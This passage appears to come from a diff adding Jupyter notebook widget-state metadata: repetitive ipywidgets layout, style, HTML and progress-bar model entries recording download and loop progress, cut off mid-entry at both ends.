8.86kB/s]" + } + }, + "721121db2dc54b14aec771d3c6cdd0fd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "72effdc24eb84648b6838729c11fed72": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7342611c130c4e3da540d7ae0ac95b52": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "740417603bd94bf698fdba5b374d7c3a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "75327980774b4419a9ec50f97a0c1d75": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "76732cd3aa5745058c70bb1aa44b1667": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1494c31d3d114a13a3ebbe85df2316ba", + "placeholder": "​", + "style": "IPY_MODEL_9604b8f7a8ef4fa6b488ee1892e138d2", + "value": "100%" + } + }, + "768863d6e7e747709c4413764e7e7093": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "78684c2b2b05406ba992fe197c947bcc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "792bda382a844c8a9bd9c9de789b44ac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1bbd2bbca0c04df982278b7c24c8c320", + "placeholder": "​", + "style": "IPY_MODEL_ee190ee62fb24dacb96d9b57e562c3b9", + "value": "100%" + } + }, + "79b4c9681b0d496ab86f77b6b4902ad6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7adf45fac6804cbcbbe5d7c6cbdfd878": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7af9fef14d3a4464aa16232f9d2cf94a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7bcb49396cf84ea6878d5ceddd480326": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7be8f4522cdc41f08c69b4a36520eb5a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7cfb6d760505428e9ffc07fe0fbca962": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7d941358dd1b4298bf1bf803b625f764": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7dafba4f66a245659587c06edbffcf51": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ee87d3500d5a483b8a03b0c499392928", + "placeholder": "​", + "style": "IPY_MODEL_5a4843d7d25545dea9b6e53cb091321b", + "value": " 1.06M/1.06M [00:00<00:00, 6.40MB/s]" + } + }, + "7e4e6d45329a415cba65daa185369ad6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7ede80a1f6544f2a8dfd631cb6d4eaca": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7f58916aaee04e5b89978d0111acf83d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "80e6d8758fe646e2a43d45e31d157b26": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "811695ab3aef4a368d2949af43b5f589": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8af370239d6f45f48cd1f6befdbd9211", + "placeholder": "​", + "style": "IPY_MODEL_247e38c4011445f1adb3a832ddb53e2e", + "value": " 806/806 [00:00<00:00, 15.4kB/s]" + } + }, + "8214d94c9de5436a9ed42367af453491": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "84df3286d6044ab5aa6e8cb6c8d1b813": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_39a24d7b46f2428597c345b1d0ac8680", + "max": 50, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f48ce6b6925b4b058f8679d73c039ac8", + "value": 50 + } + }, + "851980277e5e486a9962a2e7607be100": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0220a92b3977434dab97c2329e9f5013", + "placeholder": "​", + "style": "IPY_MODEL_c65c5e6845254d47b6b0370b306b9eef", + "value": " 100/100 [00:27<00:00, 3.78it/s]" + } + }, + "865a15f101944359bbf30226e4cc1c90": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5a00f85a6e9e44fcaa25dd0d982f2d0f", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_14a49cf00e9744dc8f2ac8ec3f19c90c", + "value": 20 + } + }, + "86c728930faa41bcad11875ca74af210": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "876c7d9ec56145338bb7b960b52bddd0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8779a1cb87f6461a9a152ece606fa948": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1974a1b14cd74807b872ad12380d0fe3", + "placeholder": "​", + "style": "IPY_MODEL_990b53f96b66496bb27edb5c1ea012bc", + "value": " 569/569 [00:00<00:00, 5.99kB/s]" + } + }, + "8811223ffe8547e99b837842150396f4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "881d8ed91e394981b6320122489fe8bc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8af370239d6f45f48cd1f6befdbd9211": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8b08803f05bb47a1b83ebeff76e7caf7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8b41d5c904a942a0bcee642499015089": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7cfb6d760505428e9ffc07fe0fbca962", + "placeholder": "​", + "style": "IPY_MODEL_a66a0a813bc24011a91f56778e88244e", + "value": "100%" + } + }, + "8babbe3e6d994cbeaa63e70192e858a4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8bb4488a1c1c4defafb072afa695918f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8c01f8b4191048c5b596bb5da0c73d2f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8c8b4b87df9242318f1ceaf5fc00b216": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "8ce35b01fc9a4b6fbdd650491a58f188": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8e4655cdbd0348bb86523938a0d95367": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a613c20dd06d4754b7a890d802476395", + "placeholder": "​", + "style": "IPY_MODEL_7342611c130c4e3da540d7ae0ac95b52", + "value": "100%" + } + }, + "8e7b4587729f4fe597e2342b9e8c5b06": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + 